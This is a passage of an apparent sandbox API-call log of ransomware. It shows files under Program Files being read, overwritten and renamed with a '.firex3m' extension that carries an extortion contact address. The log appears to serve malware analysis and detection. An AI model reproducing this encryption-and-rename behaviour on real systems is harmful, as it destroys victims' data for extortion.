returned 1 [0235.603] GetProcessHeap () returned 0x630000 [0235.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0235.603] GetProcessHeap () returned 0x630000 [0235.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2500 | out: hHeap=0x630000) returned 1 [0235.603] GetProcessHeap () returned 0x630000 [0235.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0235.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x526048bf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x36bfd20, dwReserved1=0x6e2500, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d53c0 [0235.603] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0235.603] Sleep (dwMilliseconds=0x1) [0235.615] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x36bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgradeth2.xml") returned 1 [0235.615] GetProcessHeap () returned 0x630000 [0235.615] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fe4) returned 0x6fe3bb0 [0235.615] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0235.616] CloseHandle (hObject=0x70c) returned 1 [0235.616] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.616] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.616] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.617] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f80 [0235.617] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0235.617] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0235.617] GetProcessHeap () returned 0x630000 [0235.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2500 [0235.617] GetProcessHeap () returned 0x630000 [0235.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0235.617] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.617] ReadFile (in: hFile=0x70c, lpBuffer=0x6e2500, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2500*, lpNumberOfBytesRead=0x36bff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.619] GetProcessHeap () returned 0x630000 [0235.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0235.619] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.619] WriteFile (in: hFile=0x70c, lpBuffer=0x6e2830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesWritten=0x36bff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.620] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.620] WriteFile (in: hFile=0x70c, lpBuffer=0x6e298f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e298f*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.620] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.620] WriteFile (in: hFile=0x70c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.620] CloseHandle (hObject=0x70c) returned 1 [0235.620] GetProcessHeap () returned 0x630000 [0235.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0235.620] GetProcessHeap () returned 0x630000 [0235.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2500 | out: hHeap=0x630000) returned 1 [0235.620] GetProcessHeap () returned 0x630000 [0235.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0235.620] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5262ab28, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x36bfd20, dwReserved1=0x6e2500, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d51c0 [0235.620] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.621] Sleep (dwMilliseconds=0x1) [0235.624] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x36bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastreviewsettings.xml") returned 1 [0235.624] GetProcessHeap () returned 0x630000 [0235.624] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fd8) returned 0x6fe3bb0 [0235.624] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0235.625] CloseHandle (hObject=0x6e4) returned 1 [0235.625] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.625] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.626] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.626] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0235.626] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.626] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0235.626] GetProcessHeap () returned 0x630000 [0235.626] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f4000 [0235.626] GetProcessHeap () returned 0x630000 [0235.626] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f4370 [0235.626] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.626] ReadFile (in: hFile=0x6e4, lpBuffer=0x6f4000, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4000*, lpNumberOfBytesRead=0x36bff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.629] GetProcessHeap () returned 0x630000 [0235.629] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0235.629] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.629] WriteFile (in: hFile=0x6e4, lpBuffer=0x6f4370*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4370*, lpNumberOfBytesWritten=0x36bff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.629] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.629] WriteFile (in: hFile=0x6e4, lpBuffer=0x6f44ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f44ef*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.629] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.629] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.629] CloseHandle (hObject=0x6e4) returned 1 [0235.629] GetProcessHeap () returned 0x630000 [0235.629] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4370 | out: hHeap=0x630000) returned 1 [0235.629] GetProcessHeap () returned 0x630000 [0235.629] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4000 | out: hHeap=0x630000) returned 1 [0235.630] GetProcessHeap () returned 0x630000 [0235.630] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0235.630] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.630] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52650d04, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x36bfd20, dwReserved1=0x6f4000, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4ec0 [0235.630] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0235.630] Sleep (dwMilliseconds=0x1) [0235.647] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x36bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgradeth2.xml") returned 1 [0235.647] GetProcessHeap () returned 0x630000 [0235.647] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fc4) returned 0x6fe3bb0 [0235.647] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0235.648] CloseHandle (hObject=0x698) returned 1 [0235.648] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.648] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.649] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5480 [0235.649] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0235.649] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0235.649] GetProcessHeap () returned 0x630000 [0235.649] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2500 [0235.649] GetProcessHeap () returned 0x630000 [0235.649] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0235.649] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.649] ReadFile (in: hFile=0x698, lpBuffer=0x6e2500, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2500*, lpNumberOfBytesRead=0x36bff0c*=0x160, lpOverlapped=0x0) returned 1 [0237.733] GetProcessHeap () returned 0x630000 [0237.733] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0237.733] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.733] WriteFile (in: hFile=0x698, lpBuffer=0x6e2830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesWritten=0x36bff0c*=0x160, lpOverlapped=0x0) returned 1 [0237.733] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.733] WriteFile (in: hFile=0x698, lpBuffer=0x6e298f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e298f*, lpNumberOfBytesWritten=0x36bff0c*=0x20, lpOverlapped=0x0) returned 1 [0237.733] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.733] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0237.734] CloseHandle (hObject=0x698) returned 1 [0237.734] GetProcessHeap () returned 0x630000 [0237.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0237.734] GetProcessHeap () returned 0x630000 [0237.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2500 | out: hHeap=0x630000) returned 1 [0237.734] GetProcessHeap () returned 0x630000 [0237.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0237.734] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0237.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x53a6ed78, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x36bfd20, dwReserved1=0x6e2500, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5540 [0237.734] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0237.734] Sleep (dwMilliseconds=0x1) [0239.907] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-200_contrast-black.png", len=0x80 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-200_contrast-black.png") returned 1 [0239.907] GetProcessHeap () returned 0x630000 [0239.907] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5138) returned 0x6fe3bb0 [0239.907] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersplashscreen.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.907] Sleep (dwMilliseconds=0x1) [0241.752] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Icon.targetsize-32.png", len=0x7d | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Icon.targetsize-32.png") returned 1 [0241.756] GetProcessHeap () returned 0x630000 [0241.756] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52d4) returned 0x6fe3bb0 [0241.756] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Icon.targetsize-32.png" (normalized: "c:\\program 